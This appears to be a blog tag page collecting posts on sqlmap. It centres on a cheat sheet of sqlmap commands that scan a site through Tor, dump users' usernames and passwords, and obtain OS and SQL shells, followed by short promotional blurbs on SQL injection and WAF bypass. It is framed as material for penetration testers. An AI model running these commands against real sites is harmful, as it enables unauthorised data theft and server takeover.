#sqlmap

[thesecuritysleuth]

SQLMAP Cheat Sheet

Kicking off 2017 I thought I would share a simple set of handy sqlmap commands to help you with your penetration testing activities. If this proves popular feel free to show the post some love and I'll compile a full tutorial on testing a php site with sqlmap.

Cheat Sheet

Easy Scanning option

sqlmap -u "http://testsite.com/login.php"

Scanning by using tor

sqlmap -u "http://testsite.com/login.php" --tor --tor-type=SOCKS5

Scanning by manually setting the return time

sqlmap -u "http://testsite.com/login.php" --time-sec 15

List all databases at the site

sqlmap -u "http://testsite.com/login.php" --dbs

List all tables in a specific database

sqlmap -u "http://testsite.com/login.php" -D site_db --tables

Dump the contents of a DB table

sqlmap -u "http://testsite.com/login.php" -D site_db -T users –dump

List all columns in a table

sqlmap -u "http://testsite.com/login.php" -D site_db -T users --columns

Dump only selected columns

sqlmap -u "http://testsite.com/login.php" -D site_db -T users -C username,password --dump

Dump a table from a database when you have admin credentials

sqlmap -u "http://testsite.com/login.php" –method "POST" –data "username=admin&password=admin&submit=Submit" -D social_mccodes -T users –dump

Get OS Shell

sqlmap --dbms=mysql -u "http://testsite.com/login.php" --os-shell

Get SQL Shell

sqlmap --dbms=mysql -u "http://testsite.com/login.php" --sql-shell

The ultimate manual for sqlmap can also be found here

Conclusion

As always I hope you found this tutorial useful Please let em know if you want to see a comprehensive sqlmap tutorial.

[icontricks]

SQLmap: The Powerful Tool For Exploring SQL Injection Vulnerabilities

SQLmap: The Go-To Tool for Exploring SQL Injection Vulnerabilities. Automate the Exploitation Process with Ease & Ensure the Security.

[iemlabs]

New Attack Method: Web Bypassers through the Web Application Firewalls

A new attack method can bypass popular application free fire wall hacker (WAFs) from different manufacturers, allowing hackers new to enter networks and potentially acquire a confidential client and corporate data.

Now share your Thoughts with us in the 𝗖𝗼𝗺𝗺𝗲𝗻𝘁 section

Read the full blog https://bit.ly/3GkdWQG

[ciobulletin]

SQL injections are one of the most common attacks on the web whenever online attackers try to steal sensitive information from organizations

[rsparks-blog]

sqlmap: automatic SQL injection and database takeover tool

[freeudemycoursesfree]

LEE's Web-Hacking 2 ( OWASP ZAP + DVWA + SQLmap )

LEE’s Web-Hacking 2 ( OWASP ZAP + DVWA + SQLmap )

How to defend The super dangerous web-hacking attacks of the powerful cracking tool ! What you’ll learn in Free Udemy Course- How to defend the extremely critical attack skills from the SQLmap (KALI-Linux’s or Win32’s cracking tool) Requirements Web programming Skills [ especially on HTTP / SQL / PHP / HTML / MYSQL / MariaDB / XAMPP ] Description Designed for more convenient watching on…

View On WordPress

[yazhi-org]

Introduction Sql Injection is a must know hacker vocabulary. You have learnt how to inject simple queries like universal true queries and union based queries. You may login as admin or retrieve sensitive information from databases. Now imagine those vulnerabilities explored at an automated level. Imagine a script that runs several queries and retrieves a […]